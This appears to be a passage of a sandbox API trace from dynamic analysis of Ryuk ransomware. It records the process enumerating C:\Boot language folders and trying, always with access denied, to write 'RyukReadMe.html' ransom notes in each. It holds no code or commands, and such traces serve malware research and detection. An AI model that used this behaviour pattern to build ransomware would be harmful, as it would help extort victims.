	[0157.918] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0) returned 0
	[0157.918] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0157.918] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*.*", lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c090
	[0157.918] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0157.918] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0157.918] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0157.919] FindClose (in: hFindFile=0x7c090 | out: hFindFile=0x7c090) returned 1
	[0157.919] SetLastError (dwErrCode=0x0) 
	[0157.919] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\RyukReadMe.html" (normalized: "c:\\boot\\ja-jp\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0157.919] GetLastError () returned 0x5
	[0157.919] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0) returned 0
	[0157.919] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0157.919] FindNextFileW (in: hFindFile=0x7bf10, lpFindFileData=0x218e0a0 | out: lpFindFileData=0x218e0a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1
	[0157.919] SetLastError (dwErrCode=0x0) 
	[0157.920] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0157.920] GetLastError () returned 0x5
	[0157.920] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0) returned 0
	[0157.920] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0157.920] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*.*", lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c090
	[0157.920] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0157.921] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0157.921] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0157.921] FindClose (in: hFindFile=0x7c090 | out: hFindFile=0x7c090) returned 1
	[0157.921] SetLastError (dwErrCode=0x0) 
	[0157.921] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\RyukReadMe.html" (normalized: "c:\\boot\\ko-kr\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0157.921] GetLastError () returned 0x5
	[0157.921] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0) returned 0
	[0157.921] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0157.922] FindNextFileW (in: hFindFile=0x7bf10, lpFindFileData=0x218e0a0 | out: lpFindFileData=0x218e0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0x24, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1
	[0157.922] FindNextFileW (in: hFindFile=0x7bf10, lpFindFileData=0x218e0a0 | out: lpFindFileData=0x218e0a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1
	[0157.922] SetLastError (dwErrCode=0x0) 
	[0157.922] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0157.922] GetLastError () returned 0x5
	[0157.922] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0) returned 0
	[0157.922] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0157.923] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*.*", lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c090
	[0157.923] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0157.923] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0157.923] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0157.923] FindClose (in: hFindFile=0x7c090 | out: hFindFile=0x7c090) returned 1
	[0157.923] SetLastError (dwErrCode=0x0) 
	[0157.923] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\RyukReadMe.html" (normalized: "c:\\boot\\nb-no\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0157.924] GetLastError () returned 0x5
	[0157.924] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0) returned 0
	[0157.924] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0157.924] FindNextFileW (in: hFindFile=0x7bf10, lpFindFileData=0x218e0a0 | out: lpFindFileData=0x218e0a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1
	[0157.924] SetLastError (dwErrCode=0x0) 
	[0157.924] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0157.925] GetLastError () returned 0x5
	[0157.925] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0) returned 0
	[0157.925] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0157.925] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*.*", lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c090
	[0157.925] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0157.925] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0157.925] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0157.925] FindClose (in: hFindFile=0x7c090 | out: hFindFile=0x7c090) returned 1
	[0157.926] SetLastError (dwErrCode=0x0) 
	[0157.926] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\RyukReadMe.html" (normalized: "c:\\boot\\nl-nl\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0157.926] GetLastError () returned 0x5
	[0157.926] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0) returned 0
	[0157.926] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0157.926] FindNextFileW (in: hFindFile=0x7bf10, lpFindFileData=0x218e0a0 | out: lpFindFileData=0x218e0a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1
	[0157.926] SetLastError (dwErrCode=0x0) 
	[0157.927] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0157.927] GetLastError () returned 0x5
	[0157.927] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0) returned 0
	[0157.927] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0157.927] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*.*", lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c090
	[0157.928] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0157.928] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0157.928] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0157.928] FindClose (in: hFindFile=0x7c090 | out: hFindFile=0x7c090) returned 1
	[0157.928] SetLastError (dwErrCode=0x0) 
	[0157.928] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\RyukReadMe.html" (normalized: "c:\\boot\\pl-pl\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0157.928] GetLastError () returned 0x5
	[0157.929] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0) returned 0
	[0157.929] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0157.929] FindNextFileW (in: hFindFile=0x7bf10, lpFindFileData=0x218e0a0 | out: lpFindFileData=0x218e0a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1
	[0157.929] SetLastError (dwErrCode=0x0) 
	[0157.929] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0157.930] GetLastError () returned 0x5
	[0157.930] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0) returned 0
	[0157.930] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0157.930] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*.*", lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c090
	[0157.930] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0157.930] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0157.930] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0157.931] FindClose (in: hFindFile=0x7c090 | out: hFindFile=0x7c090) returned 1
	[0157.931] SetLastError (dwErrCode=0x0) 
	[0157.931] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\RyukReadMe.html" (normalized: "c:\\boot\\pt-br\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0157.931] GetLastError () returned 0x5
	[0157.931] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0) returned 0
	[0157.931] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0157.931] FindNextFileW (in: hFindFile=0x7bf10, lpFindFileData=0x218e0a0 | out: lpFindFileData=0x218e0a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1
	[0157.931] SetLastError (dwErrCode=0x0) 
	[0157.931] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0157.932] GetLastError () returned 0x5
